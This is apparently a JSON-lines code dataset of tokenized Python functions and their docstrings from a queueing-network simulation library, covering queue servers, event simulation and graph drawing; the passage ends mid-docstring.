{"signature": "def _current_color(self, which=<NUM_LIT:0>):", "body": "if which == <NUM_LIT:1>:<EOL><INDENT>color = self.colors['<STR_LIT>']<EOL><DEDENT>elif which == <NUM_LIT:2>:<EOL><INDENT>color = self.colors['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>div = self.coloring_sensitivity * self.num_servers + <NUM_LIT:1.><EOL>tmp = <NUM_LIT:1.> - min(self.num_system / div, <NUM_LIT:1>)<EOL>if self.edge[<NUM_LIT:0>] == self.edge[<NUM_LIT:1>]:<EOL><INDENT>color = [i * tmp for i in self.colors['<STR_LIT>']]<EOL>color[<NUM_LIT:3>] = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>color = [i * tmp for i in self.colors['<STR_LIT>']]<EOL>color[<NUM_LIT:3>] = <NUM_LIT:1> / <NUM_LIT><EOL><DEDENT><DEDENT>return color<EOL>", "docstring": "Returns a color for the queue.\n\n        Parameters\n        ----------\n        which : int (optional, default: ``0``)\n            Specifies the type of color to return.\n\n        Returns\n        -------\n        color : list\n            Returns a RGBA color that is represented as a list with 4\n            entries where each entry can be any floating point number\n            between 0 and 1.\n\n            * If ``which`` is 1 then it returns the color of the edge\n              as if it were a self loop. This is specified in\n              ``colors['edge_loop_color']``.\n            * If ``which`` is 2 then it returns the color of the vertex\n              pen color (defined as color/vertex_color in\n              :meth:`.QueueNetworkDiGraph.graph_draw`). This is\n              specified in ``colors['vertex_color']``.\n            * If ``which`` is anything else, then it returns the a\n              shade of the edge that is proportional to the number of\n              agents in the system -- which includes those being\n              servered and those waiting to be served. More agents\n              correspond to darker edge colors. Uses\n              ``colors['vertex_fill_color']`` if the queue sits on a\n              loop, and ``colors['edge_color']`` otherwise.", "id": "f14539:c0:m10"}
{"signature": "def delay_service(self, t=None):", "body": "if len(self._departures) > <NUM_LIT:1>:<EOL><INDENT>agent = heappop(self._departures)<EOL>if t is None:<EOL><INDENT>agent._time = self.service_f(agent._time)<EOL><DEDENT>else:<EOL><INDENT>agent._time = t<EOL><DEDENT>heappush(self._departures, agent)<EOL>self._update_time()<EOL><DEDENT>", "docstring": "Adds an extra service time to the next departing\n        :class:`Agent's<.Agent>` service time.\n\n        Parameters\n        ----------\n        t : float (optional)\n            Specifies the departing time for the agent scheduled\n            to depart next. If ``t`` is not given, then an additional\n            service time is added to the next departing agent.", "id": "f14539:c0:m11"}
{"signature": "def fetch_data(self, return_header=False):", "body": "qdata = []<EOL>for d in self.data.values():<EOL><INDENT>qdata.extend(d)<EOL><DEDENT>dat = np.zeros((len(qdata), <NUM_LIT:6>))<EOL>if len(qdata) > <NUM_LIT:0>:<EOL><INDENT>dat[:, :<NUM_LIT:5>] = np.array(qdata)<EOL>dat[:, <NUM_LIT:5>] = self.edge[<NUM_LIT:2>]<EOL>dType = [<EOL>('<STR_LIT:a>', float),<EOL>('<STR_LIT:s>', float),<EOL>('<STR_LIT:d>', float),<EOL>('<STR_LIT:q>', float),<EOL>('<STR_LIT:n>', float),<EOL>('<STR_LIT:id>', float)<EOL>]<EOL>dat = np.array([tuple(d) for d in dat], dtype=dType)<EOL>dat = np.sort(dat, order='<STR_LIT:a>')<EOL>dat = np.array([tuple(d) for d in dat])<EOL><DEDENT>if return_header:<EOL><INDENT>return dat, '<STR_LIT>'<EOL><DEDENT>return dat<EOL>", "docstring": "Fetches data from the queue.\n\n        Parameters\n        ----------\n        return_header : bool (optonal, default: ``False``)\n            Determines whether the column headers are returned.\n\n        Returns\n        -------\n        data : :class:`~numpy.ndarray`\n            A six column :class:`~numpy.ndarray` of all the data. The\n            columns are:\n\n            * 1st: The arrival time of an agent.\n            * 2nd: The service start time of an agent.\n            * 3rd: The departure time of an agent.\n            * 4th: The length of the queue upon the agents arrival.\n            * 5th: The total number of :class:`Agents<.Agent>` in the\n              :class:`.QueueServer`.\n            * 6th: The :class:`QueueServer's<.QueueServer>` edge index.\n\n        headers : str (optional)\n            A comma seperated string of the column headers. Returns\n            ``'arrival,service,departure,num_queued,num_total,q_id'``", "id": "f14539:c0:m12"}
{"signature": "def number_queued(self):", "body": "return len(self.queue)<EOL>", "docstring": "Returns the number of agents waiting in line to be served.\n\n        Returns\n        -------\n        out : int\n            The number of agents waiting in line to be served.", "id": "f14539:c0:m14"}
{"signature": "def next_event(self):", "body": "if self._departures[<NUM_LIT:0>]._time < self._arrivals[<NUM_LIT:0>]._time:<EOL><INDENT>new_depart = heappop(self._departures)<EOL>self._current_t = new_depart._time<EOL>self._num_total -= <NUM_LIT:1><EOL>self.num_system -= <NUM_LIT:1><EOL>self.num_departures += <NUM_LIT:1><EOL>if self.collect_data and new_depart.agent_id in self.data:<EOL><INDENT>self.data[new_depart.agent_id][-<NUM_LIT:1>][<NUM_LIT:2>] = self._current_t<EOL><DEDENT>if len(self.queue) > <NUM_LIT:0>:<EOL><INDENT>agent = self.queue.popleft()<EOL>if self.collect_data and agent.agent_id in self.data:<EOL><INDENT>self.data[agent.agent_id][-<NUM_LIT:1>][<NUM_LIT:1>] = self._current_t<EOL><DEDENT>agent._time = self.service_f(self._current_t)<EOL>agent.queue_action(self, <NUM_LIT:1>)<EOL>heappush(self._departures, agent)<EOL><DEDENT>new_depart.queue_action(self, <NUM_LIT:2>)<EOL>self._update_time()<EOL>return new_depart<EOL><DEDENT>elif self._arrivals[<NUM_LIT:0>]._time < infty:<EOL><INDENT>arrival = heappop(self._arrivals)<EOL>self._current_t = arrival._time<EOL>if self._active:<EOL><INDENT>self._add_arrival()<EOL><DEDENT>self.num_system += <NUM_LIT:1><EOL>self._num_arrivals += <NUM_LIT:1><EOL>if self.collect_data:<EOL><INDENT>b = <NUM_LIT:0> if self.num_system <= self.num_servers else <NUM_LIT:1><EOL>if arrival.agent_id not in self.data:<EOL><INDENT>self.data[arrival.agent_id] =[[arrival._time, <NUM_LIT:0>, <NUM_LIT:0>, len(self.queue) + b, self.num_system]]<EOL><DEDENT>else:<EOL><INDENT>self.data[arrival.agent_id].append([arrival._time, <NUM_LIT:0>, <NUM_LIT:0>, len(self.queue) + b, self.num_system])<EOL><DEDENT><DEDENT>arrival.queue_action(self, <NUM_LIT:0>)<EOL>if self.num_system <= self.num_servers:<EOL><INDENT>if self.collect_data:<EOL><INDENT>self.data[arrival.agent_id][-<NUM_LIT:1>][<NUM_LIT:1>] = arrival._time<EOL><DEDENT>arrival._time = self.service_f(arrival._time)<EOL>arrival.queue_action(self, <NUM_LIT:1>)<EOL>heappush(self._departures, arrival)<EOL><DEDENT>else:<EOL><INDENT>self.queue.append(arrival)<EOL><DEDENT>self._update_time()<EOL><DEDENT>", "docstring": "Simulates the queue forward one event.\n\n        Use :meth:`.simulate` instead.\n\n        Returns\n        -------\n        out : :class:`.Agent` (sometimes)\n            If the next event is a departure then the departing agent\n            is returned, otherwise nothing is returned.\n\n        See Also\n        --------\n        :meth:`.simulate` : Simulates the queue forward.", "id": "f14539:c0:m15"}
{"signature": "def next_event_description(self):", "body": "if self._departures[<NUM_LIT:0>]._time < self._arrivals[<NUM_LIT:0>]._time:<EOL><INDENT>return <NUM_LIT:2><EOL><DEDENT>elif self._arrivals[<NUM_LIT:0>]._time < infty:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns an integer representing whether the next event is\n        an arrival, a departure, or nothing.\n\n        Returns\n        -------\n        out : int\n            An integer representing whether the next event is an\n            arrival or a departure: ``1`` corresponds to an arrival,\n            ``2`` corresponds to a departure, and ``0`` corresponds to\n            nothing scheduled to occur.", "id": "f14539:c0:m16"}
{"signature": "def set_active(self):", "body": "if not self._active:<EOL><INDENT>self._active = True<EOL>self._add_arrival()<EOL><DEDENT>", "docstring": "Changes the ``active`` attribute to True. Agents may now\n        arrive from outside the network.", "id": "f14539:c0:m17"}
{"signature": "def set_inactive(self):", "body": "self._active = False<EOL>", "docstring": "Changes the ``active`` attribute to False.", "id": "f14539:c0:m18"}
{"signature": "def set_num_servers(self, n):", "body": "if not isinstance(n, numbers.Integral) and n is not infty:<EOL><INDENT>the_str = \"<STR_LIT>\"<EOL>raise TypeError(the_str.format(str(self)))<EOL><DEDENT>elif n <= <NUM_LIT:0>:<EOL><INDENT>the_str = \"<STR_LIT>\"<EOL>raise ValueError(the_str.format(str(self)))<EOL><DEDENT>else:<EOL><INDENT>self.num_servers = n<EOL><DEDENT>", "docstring": "Change the number of servers in the queue to ``n``.\n\n        Parameters\n        ----------\n        n : int or :const:`numpy.infty`\n            A positive integer (or ``numpy.infty``) to set the number\n            of queues in the system to.\n\n        Raises\n        ------\n        TypeError\n            If ``n`` is not an integer or positive infinity then this\n            error is raised.\n        ValueError\n            If ``n`` is not positive.", "id": "f14539:c0:m19"}
{"signature": "def simulate(self, n=<NUM_LIT:1>, t=None, nA=None, nD=None):", "body": "if t is None and nD is None and nA is None:<EOL><INDENT>for dummy in range(n):<EOL><INDENT>self.next_event()<EOL><DEDENT><DEDENT>elif t is not None:<EOL><INDENT>then = self._current_t + t<EOL>while self._current_t < then and self._time < infty:<EOL><INDENT>self.next_event()<EOL><DEDENT><DEDENT>elif nD is not None:<EOL><INDENT>num_departures = self.num_departures + nD<EOL>while self.num_departures < num_departures and self._time < infty:<EOL><INDENT>self.next_event()<EOL><DEDENT><DEDENT>elif nA is not None:<EOL><INDENT>num_arrivals = self._oArrivals + nA<EOL>while self._oArrivals < num_arrivals and self._time < infty:<EOL><INDENT>self.next_event()<EOL><DEDENT><DEDENT>", "docstring": "This method simulates the queue forward for a specified\n        amount of simulation time, or for a specific number of\n        events.\n\n        Parameters\n        ----------\n        n : int (optional, default: ``1``)\n            The number of events to simulate. If ``t``, ``nA``, and\n            ``nD`` are not given then this parameter is used.\n        t : float (optional)\n            The minimum amount of simulation time to simulate forward.\n        nA : int (optional)\n            Simulate until ``nA`` additional arrivals are observed.\n        nD : int (optional)\n            Simulate until ``nD`` additional departures are observed.\n\n        Examples\n        --------\n        Before any simulations can take place the ``QueueServer`` must\n        be activated:\n\n        >>> import queueing_tool as qt\n        >>> import numpy as np\n        >>> rate = lambda t: 2 + 16 * np.sin(np.pi * t / 8)**2\n        >>> arr = lambda t: qt.poisson_random_measure(t, rate, 18)\n        >>> ser = lambda t: t + np.random.gamma(4, 0.1)\n        >>> q = qt.QueueServer(5, arrival_f=arr, service_f=ser, seed=54)\n        >>> q.set_active()\n\n        To simulate 50000 events do the following:\n\n        >>> q.simulate(50000)\n        >>> num_events = q.num_arrivals[0] + q.num_departures\n        >>> num_events\n        50000\n\n        To simulate forward 75 time units, do the following:\n\n        >>> t0 = q.time\n        >>> q.simulate(t=75)\n        >>> round(float(q.time - t0), 1)\n        75.1\n        >>> q.num_arrivals[1] + q.num_departures - num_events\n        1597\n\n        To simulate forward until 1000 new departures are observed run:\n\n        >>> nA0, nD0 = q.num_arrivals[1], q.num_departures\n        >>> q.simulate(nD=1000)\n        >>> q.num_departures - nD0, q.num_arrivals[1] - nA0\n        (1000, 983)\n\n        To simulate until 1000 new arrivals are observed run:\n\n        >>> nA0, nD0 = q.num_arrivals[1], q.num_departures\n        >>> q.simulate(nA=1000)\n        >>> q.num_departures - nD0, q.num_arrivals[1] - nA0,\n        (987, 1000)", "id": "f14539:c0:m20"}
{"signature": "def at_capacity(self):", "body": "return self.num_system >= self.num_servers + self.buffer<EOL>", "docstring": "Returns whether the queue is at capacity or not.\n\n        Returns\n        -------\n        out : bool\n            Returns whether the number of agents in the system -- the\n            number of agents being serviced plus those waiting to be\n            serviced -- is equal to ``num_servers + buffer``.", "id": "f14539:c1:m2"}
{"signature": "def _matrix2dict(matrix, etype=False):", "body": "n = len(matrix)<EOL>adj = {k: {} for k in range(n)}<EOL>for k in range(n):<EOL><INDENT>for j in range(n):<EOL><INDENT>if matrix[k, j] != <NUM_LIT:0>:<EOL><INDENT>adj[k][j] = {} if not etype else matrix[k, j]<EOL><DEDENT><DEDENT><DEDENT>return adj<EOL>", "docstring": "Takes an adjacency matrix and returns an adjacency list.", "id": "f14541:m0"}
{"signature": "def _dict2dict(adj_dict):", "body": "item = adj_dict.popitem()<EOL>adj_dict[item[<NUM_LIT:0>]] = item[<NUM_LIT:1>]<EOL>if not isinstance(item[<NUM_LIT:1>], dict):<EOL><INDENT>new_dict = {}<EOL>for key, value in adj_dict.items():<EOL><INDENT>new_dict[key] = {v: {} for v in value}<EOL><DEDENT>adj_dict = new_dict<EOL><DEDENT>return adj_dict<EOL>", "docstring": "Takes a dictionary based representation of an adjacency list\n    and returns a dict of dicts based representation.", "id": "f14541:m1"}
{"signature": "def _adjacency_adjust(adjacency, adjust, is_directed):", "body": "for v, adj in adjacency.items():<EOL><INDENT>for properties in adj.values():<EOL><INDENT>if properties.get('<STR_LIT>') is None:<EOL><INDENT>properties['<STR_LIT>'] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>if is_directed:<EOL><INDENT>if adjust == <NUM_LIT:2>:<EOL><INDENT>null_nodes = set()<EOL>for k, adj in adjacency.items():<EOL><INDENT>if len(adj) == <NUM_LIT:0>:<EOL><INDENT>null_nodes.add(k)<EOL><DEDENT><DEDENT>for k, adj in adjacency.items():<EOL><INDENT>for v in adj.keys():<EOL><INDENT>if v in null_nodes:<EOL><INDENT>adj[v]['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for k, adj in adjacency.items():<EOL><INDENT>if len(adj) == <NUM_LIT:0>:<EOL><INDENT>adj[k] = {'<STR_LIT>': <NUM_LIT:0>}<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return adjacency<EOL>", "docstring": "Takes an adjacency list and returns a (possibly) modified\n    adjacency list.", "id": "f14541:m2"}
{"signature": "def adjacency2graph(adjacency, edge_type=None, adjust=<NUM_LIT:1>, **kwargs):", "body": "if isinstance(adjacency, np.ndarray):<EOL><INDENT>adjacency = _matrix2dict(adjacency)<EOL><DEDENT>elif isinstance(adjacency, dict):<EOL><INDENT>adjacency = _dict2dict(adjacency)<EOL><DEDENT>else:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>raise TypeError(msg)<EOL><DEDENT>if edge_type is None:<EOL><INDENT>edge_type = {}<EOL><DEDENT>else:<EOL><INDENT>if isinstance(edge_type, np.ndarray):<EOL><INDENT>edge_type = _matrix2dict(edge_type, etype=True)<EOL><DEDENT>elif isinstance(edge_type, dict):<EOL><INDENT>edge_type = _dict2dict(edge_type)<EOL><DEDENT><DEDENT>for u, ty in edge_type.items():<EOL><INDENT>for v, et in ty.items():<EOL><INDENT>adjacency[u][v]['<STR_LIT>'] = et<EOL><DEDENT><DEDENT>g = nx.from_dict_of_dicts(adjacency, create_using=nx.DiGraph())<EOL>adjacency = nx.to_dict_of_dicts(g)<EOL>adjacency = _adjacency_adjust(adjacency, adjust, True)<EOL>return nx.from_dict_of_dicts(adjacency, create_using=nx.DiGraph())<EOL>", "docstring": "Takes an adjacency list, dict, or matrix and returns a graph.\n\n    The purpose of this function is take an adjacency list (or matrix)\n    and return a :class:`.QueueNetworkDiGraph` that can be used with a\n    :class:`.QueueNetwork` instance. The Graph returned has the\n    ``edge_type`` edge property set for each edge. Note that the graph may\n    be altered.\n\n    Parameters\n    ----------\n    adjacency : dict or :class:`~numpy.ndarray`\n        An adjacency list as either a dict, or an adjacency matrix.\n    adjust : int ``{1, 2}`` (optional, default: 1)\n        Specifies what to do when the graph has terminal vertices\n        (nodes with no out-edges). Note that if ``adjust`` is not 2\n        then it is assumed to be 1. There are two choices:\n\n        * ``adjust = 1``: A loop is added to each terminal node in the\n          graph, and their ``edge_type`` of that loop is set to 0.\n        * ``adjust = 2``: All edges leading to terminal nodes have\n          their ``edge_type`` set to 0.\n\n    **kwargs :\n        Unused.\n\n    Returns\n    -------\n    out : :any:`networkx.DiGraph`\n        A directed graph with the ``edge_type`` edge property.\n\n    Raises\n    ------\n    TypeError\n        Is raised if ``adjacency`` is not a dict or\n        :class:`~numpy.ndarray`.\n\n    Examples\n    --------\n    If terminal nodes are such that all in-edges have edge type ``0``\n    then nothing is changed. However, if a node is a terminal node then\n    a loop is added with edge type 0.\n\n    >>> import queueing_tool as qt\n    >>> adj = {\n    ...     0: {1: {}},\n    ...     1: {2: {},\n    ...         3: {}},\n    ...     3: {0: {}}}\n    >>> eTy = {0: {1: 1}, 1: {2: 2, 3: 4}, 3: {0: 1}}\n    >>> # A loop will be added to vertex 2\n    >>> g = qt.adjacency2graph(adj, edge_type=eTy)\n    >>> ans = qt.graph2dict(g)\n    >>> sorted(ans.items())     # doctest: +NORMALIZE_WHITESPACE\n    [(0, {1: {'edge_type': 1}}),\n     (1, {2: {'edge_type': 2}, 3: {'edge_type': 4}}), \n     (2, {2: {'edge_type': 0}}),\n     (3, {0: {'edge_type': 1}})]\n\n    You can use a dict of lists to represent the adjacency list.\n\n    >>> adj = {0 : [1], 1: [2, 3], 3: [0]}\n    >>> g = qt.adjacency2graph(adj, edge_type=eTy)\n    >>> ans = qt.graph2dict(g)\n    >>> sorted(ans.items())     # doctest: +NORMALIZE_WHITESPACE\n    [(0, {1: {'edge_type': 1}}),\n     (1, {2: {'edge_type': 2}, 3: {'edge_type': 4}}),\n     (2, {2: {'edge_type': 0}}),\n     (3, {0: {'edge_type': 1}})]\n\n    Alternatively, you could have this function adjust the edges that\n    lead to terminal vertices by changing their edge type to 0:\n\n    >>> # The graph is unaltered\n    >>> g = qt.adjacency2graph(adj, edge_type=eTy, adjust=2)\n    >>> ans = qt.graph2dict(g)\n    >>> sorted(ans.items())     # doctest: +NORMALIZE_WHITESPACE\n    [(0, {1: {'edge_type': 1}}),\n     (1, {2: {'edge_type': 0}, 3: {'edge_type': 4}}),\n     (2, {}),\n     (3, {0: {'edge_type': 1}})]", "id": "f14541:m3"}
{"signature": "def get_edge_type(self, edge_type):", "body": "edges = []<EOL>for e in self.edges():<EOL><INDENT>if self.adj[e[<NUM_LIT:0>]][e[<NUM_LIT:1>]].get('<STR_LIT>') == edge_type:<EOL><INDENT>edges.append(e)<EOL><DEDENT><DEDENT>return edges<EOL>", "docstring": "Returns all edges with the specified edge type.\n\n        Parameters\n        ----------\n        edge_type : int\n            An integer specifying what type of edges to return.\n\n        Returns\n        -------\n        out : list of 2-tuples\n            A list of 2-tuples representing the edges in the graph\n            with the specified edge type.\n\n        Examples\n        --------\n        Lets get type 2 edges from the following graph\n\n        >>> import queueing_tool as qt\n        >>> adjacency = {\n        ...     0: {1: {'edge_type': 2}},\n        ...     1: {2: {'edge_type': 1},\n        ...         3: {'edge_type': 4}},\n        ...     2: {0: {'edge_type': 2}},\n        ...     3: {3: {'edge_type': 0}}\n        ... }\n        >>> G = qt.QueueNetworkDiGraph(adjacency)\n        >>> ans = G.get_edge_type(2)\n        >>> ans.sort()\n        >>> ans\n        [(0, 1), (2, 0)]", "id": "f14541:c0:m14"}
{"signature": "def draw_graph(self, line_kwargs=None, scatter_kwargs=None, **kwargs):", "body": "if not HAS_MATPLOTLIB:<EOL><INDENT>raise ImportError(\"<STR_LIT>\")<EOL><DEDENT>fig = plt.figure(figsize=kwargs.get('<STR_LIT>', (<NUM_LIT:7>, <NUM_LIT:7>)))<EOL>ax = fig.gca()<EOL>mpl_kwargs = {<EOL>'<STR_LIT>': line_kwargs,<EOL>'<STR_LIT>': scatter_kwargs,<EOL>'<STR_LIT>': kwargs.get('<STR_LIT>')<EOL>}<EOL>line_kwargs, scatter_kwargs = self.lines_scatter_args(**mpl_kwargs)<EOL>edge_collection = LineCollection(**line_kwargs)<EOL>ax.add_collection(edge_collection)<EOL>ax.scatter(**scatter_kwargs)<EOL>if hasattr(ax, '<STR_LIT>'):<EOL><INDENT>ax.set_facecolor(kwargs.get('<STR_LIT>', [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>ax.set_axis_bgcolor(kwargs.get('<STR_LIT>', [<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:1>]))<EOL><DEDENT>ax.get_xaxis().set_visible(False)<EOL>ax.get_yaxis().set_visible(False)<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>new_kwargs = {k: v for k, v in kwargs.items() if k in SAVEFIG_KWARGS}<EOL>fig.savefig(kwargs['<STR_LIT>'], **new_kwargs)<EOL><DEDENT>else:<EOL><INDENT>plt.ion()<EOL>plt.show()<EOL><DEDENT>", "docstring": "Draws the graph.\n\n        Uses matplotlib, specifically\n        :class:`~matplotlib.collections.LineCollection` and\n        :meth:`~matplotlib.axes.Axes.scatter`. Gets the default\n        keyword arguments for both methods by calling\n        :meth:`~.QueueNetworkDiGraph.lines_scatter_args` first.\n\n        Parameters\n        ----------\n        line_kwargs : dict (optional, default: ``None``)\n            Any keyword arguments accepted by\n            :class:`~matplotlib.collections.LineCollection`\n        scatter_kwargs : dict (optional, default: ``None``)\n            Any keyword arguments accepted by\n            :meth:`~matplotlib.axes.Axes.scatter`.\n        bgcolor : list (optional, keyword only)\n            A list with 4 floats representing a RGBA color. Defaults\n            to ``[1, 1, 1, 1]``.\n        figsize : tuple (optional, keyword only, default: ``(7, 7)``)\n            The width and height of the figure in inches.\n        kwargs :\n            Any keyword arguments used by\n            :meth:`~matplotlib.figure.Figure.savefig`.\n\n        Raises\n        ------\n        ImportError :\n            If Matplotlib is not installed then an :exc:`ImportError`\n            is raised.\n\n        Notes\n        -----\n        If the ``fname`` keyword is passed, then the figure is saved\n        locally.", "id": "f14541:c0:m15"}
{"signature": "def lines_scatter_args(self, line_kwargs=None, scatter_kwargs=None, pos=None):", "body": "if pos is not None:<EOL><INDENT>self.set_pos(pos)<EOL><DEDENT>elif self.pos is None:<EOL><INDENT>self.set_pos()<EOL><DEDENT>edge_pos = [<NUM_LIT:0> for e in self.edges()]<EOL>for e in self.edges():<EOL><INDENT>ei = self.edge_index[e]<EOL>edge_pos[ei] = (self.pos[e[<NUM_LIT:0>]], self.pos[e[<NUM_LIT:1>]])<EOL><DEDENT>line_collecton_kwargs = {<EOL>'<STR_LIT>': edge_pos,<EOL>'<STR_LIT>': self.edge_color,<EOL>'<STR_LIT>': (<NUM_LIT:1>,),<EOL>'<STR_LIT>': (<NUM_LIT:1>,),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': plt.cm.ocean_r,<EOL>'<STR_LIT>': <NUM_LIT:5>,<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>}<EOL>scatter_kwargs_ = {<EOL>'<STR_LIT:x>': self.pos[:, <NUM_LIT:0>],<EOL>'<STR_LIT:y>': self.pos[:, <NUM_LIT:1>],<EOL>'<STR_LIT:s>': <NUM_LIT:50>,<EOL>'<STR_LIT:c>': self.vertex_fill_color,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT:o>',<EOL>'<STR_LIT>': <NUM_LIT:2>,<EOL>'<STR_LIT>': plt.cm.ocean_r,<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': self.vertex_color,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>}<EOL>line_kwargs = {} if line_kwargs is None else line_kwargs<EOL>scatter_kwargs = {} if scatter_kwargs is None else scatter_kwargs<EOL>for key, value in line_kwargs.items():<EOL><INDENT>if key in line_collecton_kwargs:<EOL><INDENT>line_collecton_kwargs[key] = value<EOL><DEDENT><DEDENT>for key, value in scatter_kwargs.items():<EOL><INDENT>if key in scatter_kwargs_:<EOL><INDENT>scatter_kwargs_[key] = value<EOL><DEDENT><DEDENT>return line_collecton_kwargs, scatter_kwargs_<EOL>", "docstring": "Returns the arguments used when plotting.\n\n        Takes any keyword arguments for\n        :class:`~matplotlib.collections.LineCollection` and\n        :meth:`~matplotlib.axes.Axes.scatter` and returns two\n        dictionaries with all the defaults set.\n\n        Parameters\n        ----------\n        line_kwargs : dict (optional, default: ``None``)\n            Any keyword arguments accepted by\n            :class:`~matplotlib.collections.LineCollection`.\n        scatter_kwargs : dict (optional, default: ``None``)\n            Any keyword arguments accepted by\n            :meth:`~matplotlib.axes.Axes.scatter`.\n\n        Returns\n        -------\n        tuple\n            A 2-tuple of dicts. The first entry is the keyword\n            arguments for\n            :class:`~matplotlib.collections.LineCollection` and the\n            second is the keyword args for\n            :meth:`~matplotlib.axes.Axes.scatter`.\n\n        Notes\n        -----\n        If a specific keyword argument is not passed then the defaults\n        are used.", "id": "f14541:c0:m16"}
{"signature": "def add_edge_lengths(g):", "body": "g = _test_graph(g)<EOL>g.new_edge_property('<STR_LIT>')<EOL>for e in g.edges():<EOL><INDENT>latlon1 = g.vp(e[<NUM_LIT:1>], '<STR_LIT>')<EOL>latlon2 = g.vp(e[<NUM_LIT:0>], '<STR_LIT>')<EOL>g.set_ep(e, '<STR_LIT>', np.round(_calculate_distance(latlon1, latlon2), <NUM_LIT:3>))<EOL><DEDENT>return g<EOL>", "docstring": "Add add the edge lengths as a :any:`DiGraph<networkx.DiGraph>`\n    for the graph.\n\n    Uses the ``pos`` vertex property to get the location of each\n    vertex. These are then used to calculate the length of an edge\n    between two vertices.\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :class:`numpy.ndarray`, dict, \\\n        ``None``, etc.\n        Any object that networkx can turn into a\n        :any:`DiGraph<networkx.DiGraph>`\n\n    Returns\n    -------\n    :class:`.QueueNetworkDiGraph`\n        Returns the a graph with the ``edge_length`` edge property.\n\n    Raises\n    ------\n    TypeError\n        Raised when the parameter ``g`` is not of a type that can be\n        made into a :any:`networkx.DiGraph`.", "id": "f14543:m0"}
{"signature": "def _prepare_graph(g, g_colors, q_cls, q_arg, adjust_graph):", "body": "g = _test_graph(g)<EOL>if adjust_graph:<EOL><INDENT>pos = nx.get_node_attributes(g, '<STR_LIT>')<EOL>ans = nx.to_dict_of_dicts(g)<EOL>g = adjacency2graph(ans, adjust=<NUM_LIT:2>, is_directed=g.is_directed())<EOL>g = QueueNetworkDiGraph(g)<EOL>if len(pos) > <NUM_LIT:0>:<EOL><INDENT>g.set_pos(pos)<EOL><DEDENT><DEDENT>g.new_vertex_property('<STR_LIT>')<EOL>g.new_vertex_property('<STR_LIT>')<EOL>g.new_vertex_property('<STR_LIT>')<EOL>g.new_vertex_property('<STR_LIT>')<EOL>g.new_edge_property('<STR_LIT>')<EOL>g.new_edge_property('<STR_LIT>')<EOL>g.new_edge_property('<STR_LIT>')<EOL>g.new_edge_property('<STR_LIT>')<EOL>queues = _set_queues(g, q_cls, q_arg, '<STR_LIT>' in g.vertex_properties())<EOL>if '<STR_LIT>' not in g.vertex_properties():<EOL><INDENT>g.set_pos()<EOL><DEDENT>for k, e in enumerate(g.edges()):<EOL><INDENT>g.set_ep(e, '<STR_LIT>', <NUM_LIT>)<EOL>g.set_ep(e, '<STR_LIT>', <NUM_LIT:8>)<EOL>if e[<NUM_LIT:0>] == e[<NUM_LIT:1>]:<EOL><INDENT>g.set_ep(e, '<STR_LIT>', queues[k].colors['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>g.set_ep(e, '<STR_LIT>', queues[k].colors['<STR_LIT>'])<EOL><DEDENT><DEDENT>for v in g.nodes():<EOL><INDENT>g.set_vp(v, '<STR_LIT>', <NUM_LIT:1>)<EOL>g.set_vp(v, '<STR_LIT>', <NUM_LIT:8>)<EOL>e = (v, v)<EOL>if g.is_edge(e):<EOL><INDENT>g.set_vp(v, '<STR_LIT>', queues[g.edge_index[e]]._current_color(<NUM_LIT:2>))<EOL>g.set_vp(v, '<STR_LIT>', queues[g.edge_index[e]]._current_color())<EOL><DEDENT>else:<EOL><INDENT>g.set_vp(v, '<STR_LIT>', g_colors['<STR_LIT>'])<EOL>g.set_vp(v, '<STR_LIT>', g_colors['<STR_LIT>'])<EOL><DEDENT><DEDENT>return g, queues<EOL>", "docstring": "Prepares a graph for use in :class:`.QueueNetwork`.\n\n    This function is called by ``__init__`` in the\n    :class:`.QueueNetwork` class. It creates the :class:`.QueueServer`\n    instances that sit on the edges, and sets various edge and node\n    properties that are used when drawing the graph.\n\n    Parameters\n    ----------\n    g : :any:`networkx.DiGraph`, :class:`numpy.ndarray`, dict, \\\n        ``None``,  etc.\n        Any object that networkx can turn into a\n        :any:`DiGraph<networkx.DiGraph>`\n    g_colors : dict\n        A dictionary of colors. The specific keys used are\n        ``vertex_color`` and ``vertex_fill_color`` for vertices that\n        do not have any loops. Set :class:`.QueueNetwork` for the\n        default values passed.\n    q_cls : dict\n        A dictionary where the keys are integers that represent an edge\n        type, and the values are :class:`.QueueServer` classes.\n    q_args : dict\n        A dictionary where the keys are integers that represent an edge\n        type, and the values are the arguments that are used when\n        creating an instance of that :class:`.QueueServer` class.\n    adjust_graph : bool\n        Specifies whether the graph will be adjusted using\n        :func:`.adjacency2graph`.\n\n    Returns\n    -------\n    g : :class:`.QueueNetworkDiGraph`\n    queues : list\n        A list of :class:`QueueServers<.QueueServer>` where\n        ``queues[k]`` is the ``QueueServer`` that sets on the edge with\n        edge index ``k``.\n\n    Notes\n    -----\n    The graph ``g`` should have the ``edge_type`` edge property map.\n    If it does not then an ``edge_type`` edge property is\n    created and set to 1.\n\n    The following properties are set by each queue: ``vertex_color``,\n    